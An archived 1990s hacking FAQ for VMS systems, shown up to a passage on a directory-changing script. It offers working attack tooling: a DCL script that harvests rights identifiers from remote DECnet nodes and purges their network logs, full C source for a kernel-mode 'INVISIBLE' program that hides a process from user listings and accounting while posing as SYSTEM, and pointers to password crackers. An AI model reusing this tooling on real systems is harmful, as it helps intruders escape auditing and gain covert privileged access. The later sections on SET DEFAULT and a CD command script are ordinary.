home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / MISC / VMSHACKF.ZIP / VMSHACKF.TXT
Encoding:
Text File  |  1995-10-14  |  74.7 KB  |  2,229 lines

  1.         - VMS HACK FAQ (Frequently Ask Questions) -
  2.  
  3.               - Beta 0.02 Release -
  4.  
  5.              originally by The Beaver
  6.                 updated by Tsywt  
  7.  
  8. Introduction:
  9.  
  10.     This article contain the answers to some frequently asked question
  11.     (Hence,  the name FAQ) about hacking the VMS operating system. 
  12.  
  13.     "Why a VMS Hacking FAQ?"
  14.  
  15.     Several reasons.    Once and a while,   A escape from Unix is
  16.     very,  very nice.   Another reason is that is art of 
  17.     VMS hacking has since vanished,  and its replacement are
  18.     statements like,  "Hacking VMS is impossible", "VMS is
  19.     to cryptic to use",  and as always,  "Man,  VMS sucks". 
  20.  
  21.     These are generally statements by people who know almost 
  22.     zero about VMS.   I don't want to go into a "which OS is
  23.     better",  because that would defeat the purpose of this 
  24.     file,  but in my personal opinion,   both OS's have 
  25.     there advantages/disadvantages. 
  26.  
  27.     I have,  however,  written this FAQ with a Unix overtone
  28.     to it,  to help the reader understand what is trying to
  29.     be accomplished in some examples. 
  30.     
  31.     The article may be freely redistributed in its entirety provide
  32.     that credits are not altered or removed.   It may not be 
  33.     sold for profit or incorporated in commercial documents without
  34.     the written permission of the author(s). 
  35.  
  36.     This is the beta release of this article,   which means,  
  37.     the article is still in the working,  and is not complete. 
  38.     
  39.     Submissions,  corrections,  comments,  input,  complaints, 
  40.     bomb threats,   cash,  etc.,  should be directed toward
  41.     the alt.2600 newsgroup. 
  42.  
  43.  
  44. Index ---:
  45.  
  46. More Common Newbie Questions:
  47.  
  48. 1.  VMS Basic information ("What does VMS run on?")
  49. 2.  Password storage information (SYSUAF.DAT) ("Where the hell is the 
  50.     /etc/passwd file??!?!?!")
  51. 3.  User storage information (RIGHTSLIST.DAT)
  52. 4.  Cracking the SYSUAF.DAT ("Is there a version of 'Crack' for VMS
  53.     machines?")
  54. 5.  Becoming invisible in VMS ("Is there a 'Cloak' routine in VMS?")
  55. 6.  SET DEFAULT command ("How the do I change damn directory's?")
  56. 7.  The infamous "CD" .COM file ("I hate this SET DEFAULT crap") 
  57. 8.  LOGIN.COM ("Okay,  where's my .profile???").
  58. 9.  Captive Accounts ("I can't get to DCL"). 
  59. 10. Terminal Spoofing ("How can I passively gather passwords at a terminal?")
  60. 11. User Impersonation ("Can I masquerade as another user?")
  61. 12. Accounting/Auditing ("Who's watching me?")
  62.  
  63. VMS Mail Hack Routines:
  64.  
  65. 1.  Fake Mail ("How do I send fake mail to VMS machines?")
  66. 2.  Unix/VMS Sendmail holes ("Will my sendmail holes work on VMS?")
  67. 3.  Mail Bomb ("I need to mailbomb a user from my VMS account,  how?)
  68.  
  69. VMS Phone Hack Routines:
  70.  
  71. 1.  Anonymous Phone Messages("How do I become a VAXPhone phreaker?")
  72. 2.  Phone Directories("How can I do a 'sh users' using the phone protocol?")
  73.  
  74. User/Image Privilege Information:
  75.  
  76. 1.  Systems Privileges, Listing and explanation ("How are Priv's setup?")
  77. 2.  Creating privileged images ("Can I create a SUID Shell on a VMS box?")
  78.  
  79. DECNetwork Information.
  80.  
  81. 1.  Brief Description of a DECNet ("What's a DECNet?")
  82. 2.  What it means to you ("What can it do for me?")
  83. 3.  Obtaining files/system info/etc ("How do I get information for the remote?")
  84. 4.  Using remote nodes ("How do I connect interactively?")
  85. 5.  Getting node lists ("How do I find connectable nodes?")
  86. 6.  Proxy Logins ("Can't DECNet nodes be protected?")
  87. 7.  Proxy Logs ("Are Proxy logins logged? Can I use it to break into nodes?") 
  88. 8.  Sneak Routing ("Can I get to a machine I normally couldn't through another
  89.     machine?")
  90.  
  91. TCP/IP Connected VMS Machines. 
  92.  
  93. 1.  Obtaining remote usernames without "FINGER" ("How do I get usernames
  94.     if FINGER is disabled")
  95. 2.  Changing the image running in FINGER ("How do I link a command name to
  96.     another so it appears I am running a different image?")
  97. 3.  The TCPDUMP sniffer
  98.  
  99.  
  100.         -      More Common Newbie Questions      -
  101.  
  102.  
  103. 1.      "What does VMS run on?"
  104.  
  105.     VMS (Virtual Memory System) runs on Digital Equipment Corp. 
  106.     (DEC - pronounced,  "DECK") VAX (Virtual Address eXtension)
  107.     and the newer Alpha's.   The user uses DCL (DEC Command
  108.     Language) to interact with the computer.  These commands
  109.     and there syntax are completely different then those of
  110.     Unix and Unix-like operating systems,  thus a completely
  111.     different mindset is often required (this is the authors
  112.     opinion). 
  113.  
  114. 2.      "Where in the hell is the passwd file???!?!?!"
  115.  
  116.     There is no /etc/passwd file.  All user information is kept in
  117.     a file called SYSUAF.DAT,  which is stored in the directory
  118.     (or actual the logical) SYS$SYSTEM.   This file is usually
  119.     not readable by "normal" users.
  120.     VMS standard accounts (SYSTEM, FIELD, etc) no longer have default
  121.     passwords. 
  122.  
  123. 3.      One file that is available to "normal" users is
  124.     SYS$SYSTEM:RIGHTSLIST.DAT. This file has a list of users and
  125.     their respective rights identifiers. Since the file isn't very
  126.     readable, an extraction program is a nice tool to have. The
  127.     following DCL procedure is just an example of such a program and
  128.     probably shouldn't be used, especially on a large system, because
  129.     of its inefficiency. It should lead you in the right direction
  130.     though.
  131.  
  132. $! Program: Extract_Rights.Com
  133. $! Author: Tsywt
  134. $!
  135. $ On Error Then $Goto Exit
  136. $!
  137. $ If F$mode() .Nes. "INTERACTIVE" then goto BATCH_END
  138. $
  139. $ Inquire system "Please enter system"
  140. $ If system .eqs. ""
  141. $  Then
  142. $   Open/share in sys$system:rightslist.dat
  143. $ Else
  144. $   Open/share in 'system'::sys$system:rightslist.dat
  145. $ Endif
  146. $ Open/write out users.dat
  147. $ Read/nolock in record
  148. $Read_Loop1:
  149. $ Read/nolock in record /end=Done_Users
  150. $! If not at start of environmental identifiers
  151. $ If f$extract(16,6,record) .nes. "BATCH "
  152. $  Then
  153. $   Write out f$extract(0,4,record) + " " + f$extract(16,32,record)
  154. $ Else
  155. $   Goto Done_Users
  156. $ Endif
  157. $ Goto Read_Loop1
  158. $Done_Users:
  159. $ Close out
  160. $ Open/write out rights.dat
  161. $ Write out f$extract(0,4,record) + " " + f$extract(16,32,record)
  162. $Read_Loop7:
  163. $ Read/nolock in record /end=Done_Rights
  164. $! holder is null
  165. $ If f$extract(8,1,record) .eqs. ""
  166. $  Then
  167. $   Write out f$extract(0,4,record) + " " + f$extract(16,32,record)
  168. $ Endif
  169. $ Goto Read_Loop7
  170. $Done_Rights:
  171. $ Close out
  172. $!
  173. $ Open/write out users_ids.dat
  174. $ Open in2 users.dat
  175. $Read_Loop2:
  176. $ position = 0
  177. $ Read/nolock in2 record1 /end=Done_Program
  178. $Read_Loop3:
  179. $! Go to first record in file because can't do key search on id
  180. $ Open/share in3 rights.dat
  181. $! Search holders for user id
  182. $ Read/nolock/error=Done_No_Id in -
  183.    record2/index=1/key="''f$extract(0,4,record1)'"/end=Done_No_Id
  184. $Read_Loop4:
  185. $! Kluge because nulls cause problems on key search
  186. $ If f$extract(8,4,record2) .nes. f$extract(0,4,record1)
  187. $  Then
  188. $   Read/nolock in record2/end=Done_No_Id
  189. $   Goto Read_Loop4
  190. $ Endif
  191. $! Move to next holder match
  192. $ temp_pos = position
  193. $Read_Loop5:
  194. $ If temp_pos .gt. 0
  195. $  Then
  196. $   Read/nolock in record2/end=Read_Loop2
  197. $   If f$extract(8,4,record2) .nes. f$extract(0,4,record1)
  198. $    Then
  199. $     Goto Read_Loop2
  200. $   Endif
  201. $   temp_pos = temp_pos - 1
  202. $   Goto Read_Loop5
  203. $ Endif
  204. $Read_Loop6:
  205. $! Look for identifier id
  206. $ Read/nolock in3 record3/end=Done_No_Id
  207. $ If f$extract(0,4,record3) .eqs. f$extract(0,4,record2)
  208. $  Then
  209. $   Write out f$extract(5,32,record1) + " " + f$extract(5,32,record3)
  210. $   position = position + 1
  211. $   Close in3
  212. $   Goto Read_Loop3
  213. $ Endif
  214. $ Goto Read_Loop6
  215. $Done_No_Id:
  216. $ Write out f$extract(5,32,record1)
  217. $ Close in3
  218. $ Goto Read_Loop2
  219. $Done_Program:
  220. $Exit:
  221. $ Close/error=Close_In2 in
  222. $Close_In2:
  223. $ Close/error=Close_Out in2
  224. $Close_Out:
  225. $ Close out
  226. $ Delete users.dat.
  227. $ Delete rights.dat.
  228. $ If system .nes. ""
  229. $  Then
  230. $   Submit/after="+:15"/keep/params=('system') extract_rights.com
  231. $ Endif
  232. $ Exit
  233. $Batch_End:
  234. $Clean_Up:
  235. $! Clean up DECnet logging
  236. $ Dir 'p1'::netserver.log
  237. $ Purge 'p1'::netserver.log
  238. $ Exit
  239.  
  240. 4.      "Is there a version of "Crack" that I can run on a VMS machine?"
  241.     
  242.     The Unix program, "Crack" will not work,  but there are password
  243.     guessing routines available.
  244.     
  245.     The best on I have seen is "GUESS_PASSWORD.EXE",  which can be
  246.     obtained from the following sites.
  247.  
  248.     ftp.wku.edu:/vms/fileserv/uaf.zip
  249.     ftp.spc.edu:/macro32/savesets/uaf.zip
  250.  
  251.     In order for the routine to work,  you need access to the
  252.     SYSUAF.DAT.  This version works on both OpenVMS VAX and 
  253.     OpenVMS AXP.
  254.  
  255.     There is also a program available for the PC called VMSCrack 1.0.
  256.     Once again, it requires that you have access to the SYSUAF.DAT
  257.     so that you can copy it to the PC.
  258.  
  259. 5.      "Can I 'Cloak' in routine in VMS?"
  260.  
  261.     Yes.  Below is the code needed to make your process invisible
  262.     to "FINGER",  "SHOW USERS",  etc...
  263.     Also, check out Bruce Ellis' "Hitchhiker's Guide to VMS"
  264.  
  265.     First,  create the following file:
  266.  
  267. Name: BUILD_INVISIBLE.COM
  268. ---------------------------------[Cut Here]-----------------------------------
  269. $ save_verify = 'f$verify(0)'
  270. $ system = "vax"        !Set to "alpha" for Alpha
  271. $!
  272. $!  File to build Ehud Gavron's INVISIBLE
  273. $!
  274. $!  Author:     Hunter Goatley
  275. $!
  276. $ say := write sys$output
  277. $ on error then goto common_exit
  278. $ on contrl_y then goto common_exit
  279. $ say "Extracting $JIBDEF and $PCBDEF from LIB.MLB...."
  280. $ library/macro/extr=$JIBDEF/out=jibdef.mar sys$library:lib.mlb
  281. $ library/macro/extr=$PCBDEF/out=pcbdef.mar sys$library:lib.mlb
  282. $ say "Converting $*DEF macros to C .H files...."
  283. $ call convert_to_h jibdef.mar
  284. $ call convert_to_h pcbdef.mar
  285. $ say "Compiling INVISIBLE...."
  286. $ cc invisible
  287. $ say "Linking INVISIBLE...."
  288. $ link/notrace invisible,invisible.opt_'system'/opt
  289. $ say "INVISIBLE build completed"
  290. $ common_exit:
  291. $       exit f$verify(save_verify).or.1
  292. $ convert_to_h: subroutine
  293. $ name = f$parse(p1,"","","NAME")
  294. $ open/read tmp 'p1'
  295. $ create 'name'.H
  296. $ open/append tmph 'name'.H
  297. $ cvt_loop:
  298. $    read/error=cvt_fin tmp line
  299. $    if f$extract(0,4,line).nes."$EQU" then goto cvt_loop
  300. $    write tmph "#define ",f$extract(4,255,line)
  301. $    goto cvt_loop
  302. $ cvt_fin:
  303. $    close tmp
  304. $    close tmph
  305. $ write sys$output "C header file ''name'.H created"
  306. $ exit
  307. $ endsubroutine
  308. -------------------------------[End Of File]-----------------------------------
  309.  
  310.     Next is the C Code for the "INVISIBLE" routine....
  311.  
  312.  
  313. Name:  INVISIBLE.C
  314. ---------------------------------[Cut Here]------------------------------------
  315. /*
  316.  * Invisible    - Make a process invisible and visible again.  Originally
  317.  *                written in MACRO32.  Now in C so it runs on Alpha too.
  318.  *
  319.  *
  320.  *      Option file invisible.opt:
  321.  *              ALPHA:  sys$loadable_images:sys$base_image.exe/share
  322.  *
  323.  *              VAX:    sys$system:sys.stb/selective_search
  324.  *
  325.  *
  326.  *      Build:
  327.  *              $ cc invisible
  328.  *              $ link invisible,invisible/opt
  329.  *
  330.  *      Usage:
  331.  *              $ run invisible
  332.  *
  333.  *
  334.  *  Ehud Gavron
  335.  *  ACES Consulting Inc.
  336.  *  Gavron@ACES.COM
  337.  *
  338.  *      14-Oct-1992     Ehud Gavron     Ported to C, Alpha, ANSI, and 
  339.  *                                      everything else.
  340.  *
  341.  */
  342.  
  343. #define module_name INVISIBLE
  344. #define module_version "V1.0.0"
  345.  
  346. #ifdef __alpha
  347. #pragma module module_name module_version
  348. #else /* __vax */
  349. #module module_name module_version
  350. #endif /* __alpha */
  351.  
  352. #ifndef __alpha
  353. #define sys$gl_ijobcnt sys$gw_ijobcnt
  354. #endif
  355.  
  356. #include <descrip.h>
  357. #include "jibdef.h"     /* Extracted from LIB.MLB and massaged into C form */
  358. #include "pcbdef.h"     /* Extracted from LIB.MLB and massaged into C form */
  359. #include <ssdef.h>
  360. #include <jpidef.h>
  361. #include <psldef.h>
  362. #include <lnmdef.h>
  363. typedef union {
  364.     struct {
  365.         short s_buflen;
  366.         short s_itemcode;
  367.         char *s_bufaddr;
  368.         int *s_retlen;
  369.         } s;
  370.     unsigned long end;
  371.     } ITEMLIST;
  372.  
  373. #define buflen          s.s_buflen
  374. #define itemcode        s.s_itemcode
  375. #define bufaddr         s.s_bufaddr
  376. #define retlen          s.s_retlen
  377.  
  378. struct ISB {
  379.     int     l_uic;
  380.     int     l_namelen;
  381. #ifdef __alpha
  382.     int     l_jobtype;
  383. #else
  384.     char    b_jobtype;
  385. #endif
  386.     char    b_terminal;
  387.     char    t_lname[PCB$S_LNAME + 1];
  388.     char    t_username[JIB$S_USERNAME + 1];
  389.     };
  390.  
  391. struct ISB isb;
  392. static int lnm_retlen;
  393.  
  394. ITEMLIST lnm_itmlst[2];
  395. ITEMLIST jpi_itmlst[2];
  396. struct dsc$descriptor_s prcnam_desc;
  397. struct dsc$descriptor_s prcnam;
  398. $DESCRIPTOR(lnm_tabnam,"LNM$PROCESS_TABLE");
  399. $DESCRIPTOR(lnm_lognam,"ISB");
  400. $DESCRIPTOR(fao_prcnam,"SYMBIONT_!UL");
  401. int sysuic = 0x00010004;
  402. char sysusername[] = "SYSTEM        ";
  403. char namebuf[PCB$S_LNAME];
  404.  
  405. #ifdef __alpha
  406. main()
  407. #else
  408. cmain()
  409. #endif
  410. {
  411.     int sys$cmkrnl(),sys$exit(),invisible_k();
  412.     int ss_stat;
  413.  
  414.     lnm_itmlst[0].buflen = sizeof(isb);
  415.     lnm_itmlst[0].itemcode = LNM$_STRING;
  416.     lnm_itmlst[0].bufaddr = (char *)&isb;
  417.     lnm_itmlst[0].retlen = &lnm_retlen;
  418.     lnm_itmlst[1].end = 0;
  419.     
  420.     jpi_itmlst[0].buflen = PCB$S_LNAME;
  421.     jpi_itmlst[0].itemcode = JPI$_PRCNAM;
  422.     jpi_itmlst[0].bufaddr = (char *)&isb.t_lname;
  423.     jpi_itmlst[0].retlen = (int *)&isb.l_namelen;
  424.     jpi_itmlst[1].end = 0;
  425.     
  426.     prcnam_desc.dsc$a_pointer = (char *)&isb.t_lname;
  427.     prcnam_desc.dsc$w_length = PCB$S_LNAME;
  428.     prcnam_desc.dsc$b_dtype = DSC$K_DTYPE_T;
  429.     prcnam_desc.dsc$b_class = DSC$K_CLASS_S;
  430.     
  431.     prcnam.dsc$a_pointer = (char *)&namebuf;
  432.     prcnam.dsc$w_length = PCB$S_LNAME;
  433.     prcnam.dsc$b_dtype = DSC$K_DTYPE_T;
  434.     prcnam.dsc$b_class = DSC$K_CLASS_S;
  435.     
  436.     ss_stat = sys$cmkrnl(invisible_k,0);
  437.     (void) sys$exit(ss_stat);       
  438. }
  439.  
  440. int invisible_k()
  441. {
  442.     int sys$getjpiw(),sys$crelnm(),sys$fao(),sys$setprn();
  443.     int strncpy(),sys$exit(),sys$trnlnm(),sys$dellnm();
  444.     int *a_long;
  445.     int acmode = PSL$C_KERNEL;
  446.  
  447. #pragma nostandard                      /* Oh well */
  448.     globalref ctl$gl_pcb;
  449.     globalref sys$gl_ijobcnt;
  450. #pragma standard
  451.  
  452.     int ss_stat;
  453.     char *pcb;
  454.     char *jib;
  455.     long *sts;
  456.     long *own;
  457.     char *p;
  458.     long *q;
  459.     int loop = 0;
  460.  
  461.     pcb = (char *)ctl$gl_pcb;
  462.  
  463.     if (pcb == 0) {
  464.        return(0);
  465.        }
  466.     q = (long *)((char *)pcb + PCB$L_JIB);
  467.     jib =(char *)  *q;
  468.  
  469.     sts = (long *)((char *)pcb + PCB$L_STS);
  470.  
  471.     if (*sts & PCB$M_INTER) {       /* Do stealth mode */
  472.        *sts = *sts^PCB$M_INTER;
  473.        *sts = *sts|PCB$M_NOACNT;
  474.        
  475.        own = (long *)((char *)pcb + PCB$L_OWNER);
  476.        if (*own == 0) {  /* We are not a subprocess  */
  477.           sys$gl_ijobcnt--;
  478.           }
  479.  
  480.        p = (char *)pcb + PCB$T_TERMINAL;
  481.        isb.b_terminal = *p;
  482.        *p = '\0'; 
  483.     
  484.  
  485. #ifdef __alpha
  486.        q = (long *)((char *)jib + JIB$L_JOBTYPE);
  487.        isb.l_jobtype = *q;
  488.        *q = 0;
  489. #else
  490.        p = (char *)jib + JIB$B_JOBTYPE;
  491.        isb.b_jobtype = *p;
  492.        *p = '\0';
  493. #endif
  494.        strncpy((char *)&isb.t_username,
  495.            (char *)(jib + JIB$T_USERNAME),
  496.            JIB$S_USERNAME);
  497.  
  498.        strncpy((char *)(jib + JIB$T_USERNAME),
  499.            (char *)&sysusername,
  500.            JIB$S_USERNAME);
  501.  
  502.        q = (long *)((char *)pcb + PCB$L_UIC);
  503.        isb.l_uic = *q;
  504.        *q = sysuic;
  505.  
  506.        ss_stat = sys$getjpiw(0,0,0,&jpi_itmlst,0,0,0);
  507.        if (!(ss_stat & 1)) return(ss_stat);
  508.        ss_stat = sys$crelnm(0,
  509.                 &lnm_tabnam,
  510.                 &lnm_lognam,
  511.                 &acmode,
  512.                 &lnm_itmlst);
  513.        if (!(ss_stat & 1)) return(ss_stat);
  514.        do {
  515.           loop++;
  516.           prcnam.dsc$w_length = PCB$S_LNAME;
  517.           ss_stat = sys$fao((char *)&fao_prcnam,
  518.                 (char *)&prcnam.dsc$w_length,
  519.                 (char *)&prcnam,
  520.                 loop);
  521.           if (!(ss_stat &1)) return(ss_stat);
  522.           ss_stat = sys$setprn((char*)&prcnam);
  523.           } while (ss_stat == SS$_DUPLNAM);      
  524.        return(SS$_NORMAL);
  525.        }
  526.     else {  /* unstealth */
  527.        ss_stat = sys$trnlnm(0,
  528.                 &lnm_tabnam,
  529.                 &lnm_lognam,
  530.                 &acmode,
  531.                 &lnm_itmlst);
  532.        if (!(ss_stat & 1)) return(ss_stat);
  533.        
  534.        ss_stat = sys$dellnm(&lnm_tabnam,
  535.                 &lnm_lognam,
  536.                 &acmode);
  537.        if (!(ss_stat & 1)) return(ss_stat);
  538.  
  539.        *sts = *sts|PCB$M_INTER;
  540.        *sts = *sts^PCB$M_NOACNT;
  541.  
  542.        own = (long *)((char *)pcb + PCB$L_OWNER);
  543.        if (*own == 0) {  /* We are not a subprocess  */
  544.           sys$gl_ijobcnt++;
  545.           }
  546.  
  547.        q = (long *)((char *)pcb + PCB$L_UIC);
  548.        *q = isb.l_uic;
  549.  
  550.        p = (char *)pcb + PCB$T_TERMINAL;
  551.        *p = isb.b_terminal;
  552.     
  553. #ifdef __alpha
  554.        q = (long *)((char *)jib + JIB$L_JOBTYPE);
  555.        *q = isb.l_jobtype;
  556. #else
  557.        p = (char *)jib + JIB$B_JOBTYPE;
  558.        *p = isb.b_jobtype;
  559. #endif
  560.        strncpy((char *)(jib + JIB$T_USERNAME),
  561.            (char *)&isb.t_username,
  562.            JIB$S_USERNAME);
  563.  
  564.        prcnam_desc.dsc$w_length = (short)isb.l_namelen;
  565.        ss_stat = sys$setprn(&prcnam_desc);
  566.        return;
  567.     }
  568. }
  569.  
  570. #ifndef __alpha
  571. int strncpy(a,b,c)
  572. char *a,*b;
  573. int c;
  574. {
  575.     for (; c > 0; c--) {
  576.       *a++ = *b++;
  577.       }
  578. }
  579. #endif
  580. --------------------------------[End Of File]----------------------------------
  581.  
  582.     After these files are created,   type in the following at your
  583.     DCL prompt:
  584.  
  585. $ @build_invisible      ! This will build our INVISIBLE.EXE routine.
  586. $ run invisible         ! One the build is complete. 
  587.  
  588.     You should be completely "cloaked".
  589.  
  590.     To obtain full source, readme files,  etc,  you can obtain this
  591.     program from:
  592.  
  593.     ftp.wku.edu:/vms/fileserv/invisible.zip
  594.     ftp.spc.edu:/macro32/savesets/invisible.zip
  595.  
  596. 6.      "How do I change damn directory's?". 
  597.  
  598.     This is done via the "SET DEFAULT" command.  In the following 
  599.     format:
  600.  
  601. $ SET DEFAULT device:[directory]
  602.  
  603.  
  604.     VMS uses a standard hierarchy system,  in which devices and 
  605.     directory's are separated.  For example,  our home device/directory 
  606.     might be:
  607.  
  608.     DISK3:[USR.JOEHACKER]
  609.  
  610.     DISK3:  would represent the device that we are on/using
  611.     while,  [USR.JOEHACKER] would signify the actual directory
  612.     on that device that we are using.  So,  to change directory's, 
  613.     we could type:
  614.  
  615. $ SET DEFAULT [USR.BOB]
  616.  
  617.     If [USR.BOB] is a existing directory,  this would now be our
  618.     current path (and we would still be located on the DISK3: 
  619.     device.  If we wanted to simply back out one level (to the 
  620.     [USR]) on that device,  we would issue the following command:
  621.  
  622. $ SET DEFAULT [-]
  623.  
  624.     The "[-]" signifies one directory back.  So if our path is,
  625.     [USR.BOB.HACKING.VMS.PROGRAMS],  and we want to get to the 
  626.     [USR.BOB] directory,  instead of typing the entire path 
  627.     again,  we could simply type:
  628.  
  629. $ SET DEFAULT [---]
  630.  
  631.     "[---]" means,  back out three levels of the hierarchy. 
  632.  
  633.     There can be several devices on one VMS system (Device names
  634.     can be obtained via a "SHOW DEVICES").  While your 
  635.     home directory might be on DISK3,   another users could
  636.     be on device DISK2.   To switch devices, we can add in
  637.     the device name,  followed by the directory (if needed). 
  638.     So,  if you need to get to a users who stores information
  639.     in the DISK2:[REALLY.SECRET.STUFF] directory,  you could
  640.     type the following DCL command:
  641.  
  642. $ SET DEFAULT DISK2:[REALLY.SECRET.STUFF]
  643.  
  644.     Or if we are currently in the "DISK3:[REALLY]" and we want
  645.     to get to the information in the "DISK2:[REALLY]" directory,
  646.     we could simply type 
  647.  
  648. $ SET DEFAULT DISK2:
  649.  
  650.     And the rest would be carried over. 
  651.  
  652.     In the event that you need to get to the top of the hierarchy
  653.     (Unix equivelant:  "cd /"),  SET DEFAULT (to any disk structured
  654.     device) to "[000000]".  For example,  to get to the very
  655.     top of the hierarchy on device DISK2,  you would type. 
  656.  
  657. $ SET DEFAULT DISK2:[000000]
  658.  
  659.     VMS will also allow you to SET DEFAULT to a directory that does
  660.     not exist.  When this happens,  the operating system will 
  661.     inform you of this when you try to issue a command that requires
  662.     some sort of file I/O.   If at any point you get completely 
  663.     lost,  you can return to your "home" directory by typing
  664.  
  665. $ SET DEFAULT SYS$LOGIN:
  666.  
  667.  
  668. 7.      "I hate this SET DEFAULT crap.  Can I just use 'cd' command like
  669.      I do in Unix?". 
  670.  
  671.     By default,  no.  There are two things that you can do. 
  672.     One,  add the following line to your "LOGIN.COM" (see
  673.     where my .profile in VMS' for more information)
  674.  
  675.  
  676. $ CD :== SET DEFAULT    ! I am hate typing that long "SET DEF" command
  677.  
  678.     Or you can us the following .COM file,  which will guarantee
  679.     that you eat as many resources as you can......
  680.  
  681.           [Taken from Phrack,  Vol. 2.  Issue 19.,  File 2]
  682.                [ Coded By The Mentor ]
  683.              
  684.                   Code for CD.COM
  685.                    >>>>>>>>>>>>>>>
  686.  
  687. $! CD.COM v6.09
  688. $! The Ultimate Change Directory Command.
  689. $!
  690. $  hdir     = f$trnlnm("SYS$LOGIN")                 ! Home Directory
  691. $  ndir     = f$edit(p1,"UPCASE")                   ! New  Directory
  692. $  odir     = f$environment("DEFAULT")              ! Old  Directory
  693. $  prompton = (f$edit(f$trnlnm("SYS$PROMPT"),"UPCASE") .eqs. "ON")
  694. $!
  695. $  if (ndir .eqs. "")           then goto DISPLAY   ! No Dir
  696. $  if (ndir .eqs. "*")          then goto DIRSEARCH ! Search for Dirs
  697. $  if (ndir .eqs. "?")          then goto HELP      ! Instructions
  698. $!
  699. $  PARSE:
  700. $  length   = f$length(ndir)                        ! Fix up ndir
  701. $  if (f$location("@",ndir) .eq. 0) .or. -
  702.       (f$location("$",ndir) .eq. 0) then ndir = f$extract(1, length - 1, ndir)
  703. $  right    = f$location("]",ndir) + 1
  704. $  if (right .gt. length) then right = f$location(">", ndir)
  705. $  if (right .le. length) then ndir  = f$extract(0, right, ndir)
  706. $!
  707. $  if (f$trnlnm(ndir) .eqs. "") then goto CASESYM   ! Not Logical Name
  708. $     ndir   = f$trnlnm(ndir)                       ! Logical Name
  709. $     goto PARSE
  710. $!
  711. $  CASESYM:
  712. $  if ("''&ndir'" .eqs. "")     then goto CASE0     ! Not Symbol
  713. $     ndir = 'ndir'                                 ! Symbol
  714. $     goto PARSE
  715. $!
  716. $  CASE0:
  717. $  len_ndir = f$length(ndir)                        ! Regular Dir
  718. $  if (f$location("[", ndir) .lt. len_ndir) .or. -
  719.       (f$location("<", ndir) .lt. len_ndir) then goto SETDIR
  720. $!
  721. $  CASE1:                                           ! Home Dir
  722. $  if ((ndir .nes. "HOME") .and. (ndir .nes. "\")) then goto CASE2
  723. $     ndir = hdir
  724. $     goto SETDIR
  725. $!
  726. $  CASE2:                                           ! . .. .dir
  727. $  if (f$location(".", ndir) .nes. 0) then goto CASE3
  728. $     if (ndir .eqs. "..") then ndir = "-"
  729. $     if (f$extract(0, 2, ndir) .eqs. "..") -
  730.      then ndir = "-" + f$extract(1, len_ndir - 1, ndir)
  731. $     ndir = "[" + ndir + "]"
  732. $     if (ndir .eqs. "[.]") then ndir = odir
  733. $     goto SETDIR
  734. $!
  735. $  CASE3:                                           ! :
  736. $  if (f$location(":", ndir) .ge. len_ndir) then goto CASE4
  737. $     left    = f$location(":", ndir) + 1
  738. $     symbol  = f$extract(left, 1, ndir)
  739. $     if (symbol .eqs. ":")  then goto CASE3B       ! :: Node
  740. $     if ((symbol .eqs. "[") .or. (symbol .eqs. "<")) then goto SETDIR
  741. $        ndir = f$extract(0, left, ndir) + "[" -
  742.           + f$extract(left, len_ndir - left+1, ndir) + "]"
  743. $     goto SETDIR
  744. $!
  745. $  CASE3B:                                          ! NODE::nothing
  746. $  if (f$length(ndir)-1 .gt. left) then goto CASE3C
  747. $     ndir = ndir + "[000000]"
  748. $     goto SETDIR
  749. $!
  750. $  CASE3C:                                          ! NODE::directory
  751. $  if ((f$location("[", ndir) - f$location("<", ndir)) .ne. 0) -
  752.       then goto SETDIR
  753. $
  754. $     ndir = f$parse(ndir,,,"NODE") + "[" + f$parse(ndir,,,"NAME") + "]"
  755. $     goto SETDIR
  756. $!
  757. $  CASE4:                                           ! dir
  758. $  ndir = "[" + ndir + "]"
  759. $!
  760. $  SETDIR:
  761. $  set default 'ndir'
  762. $  if (f$parse("") .eqs. "") then goto DIRERROR
  763. $!
  764. $  DISPLAY:
  765. $  if ((ndir .nes. "") .and. prompton) then goto NODISPLAY
  766. $     hnode = f$getsyi("NODENAME")
  767. $     cnode = f$parse(f$trnlnm("SYS$DISK"),,,"NODE") - "::"
  768. $     if (cnode .eqs. "") then cnode = hnode
  769. $     cdir  = f$environment("DEFAULT")
  770. $     write sys$output " "
  771. $     write sys$output "          Home Node: ", hnode
  772. $     write sys$output "     Home Directory: ", hdir
  773. $     if (cdir .eqs. hdir) .and. (cnode .eqs. hnode) then goto DISPSKIP
  774. $     write sys$output "       Current Node: ", cnode
  775. $     write sys$output "  Current Directory: ", cdir
  776. $  DISPSKIP:
  777. $     write sys$output " "
  778. $!
  779. $  NODISPLAY:
  780. $  ndir = f$environment("DEFAULT")
  781. $  if .not. prompton then goto END
  782. $!
  783. $  if (f$length(ndir) .ge. 32) then goto TOOLONG
  784. $!
  785. $  SETPROMPT:
  786. $  set prompt = 'ndir'" "
  787. $!
  788. $  END:
  789. $  exit
  790. $!
  791. $  DIRERROR:
  792. $  write sys$output " "
  793. $  write sys$output "          ", ndir, " Directory does not exist!"
  794. $  write sys$output " "
  795. $  set default 'odir'
  796. $  ndir = odir
  797. $  goto NODISPLAY
  798. $!
  799. $! Prompt Problems------------------------------------------------------------
  800. $!
  801. $  TOOLONG:
  802. $! Prompt is too long. Get rid of everything to the left of [ or <. If that
  803. $! doesn't work, get rid of a subdirectory at a time.  As a last resort,
  804. $! set the prompt back to $.
  805. $!
  806. $  left     = f$location("[", ndir)
  807. $  len_ndir = f$length(ndir)
  808. $  if (left .ge. len_ndir) then left = f$location("<",ndir)
  809. $  if (left .gt. 0) .and. (left .lt. len_ndir) -
  810.       then ndir = f$extract(left, len_ndir - left, ndir)
  811. $!
  812. $  STILLTOOLONG:
  813. $    if (f$length(ndir) .lt. 32) then goto SETPROMPT
  814. $    left     = f$location(".", ndir) + 1
  815. $    len_ndir = f$length(ndir)
  816. $    if left .ge. len_ndir then ndir = "$ "
  817. $    if left .ne. len_ndir -
  818.     then ndir = "[*" + f$extract(left, len_ndir - left, ndir)
  819. $    goto STILLTOOLONG
  820. $!
  821. $! Wildcard Directory---------------------------------------------------------
  822. $!
  823. $  DIRSEARCH:
  824. $  error_message = f$environment("MESSAGE")
  825. $  on control_y then goto DIREND
  826. $  on control_c then goto DIREND
  827. $  set message/nosev/nofac/noid/notext
  828. $  write sys$output " "
  829. $  dispct = 1
  830. $  dirct  = 0
  831. $  pauseflag = 1
  832. $!
  833. $  DIRLOOP:
  834. $    userfile = f$search("*.dir")
  835. $    if (userfile .eqs. "") .and. (dirct .ne. 0) then goto DIRMENU
  836. $    if (userfile .eqs. "") then goto DIRNONE
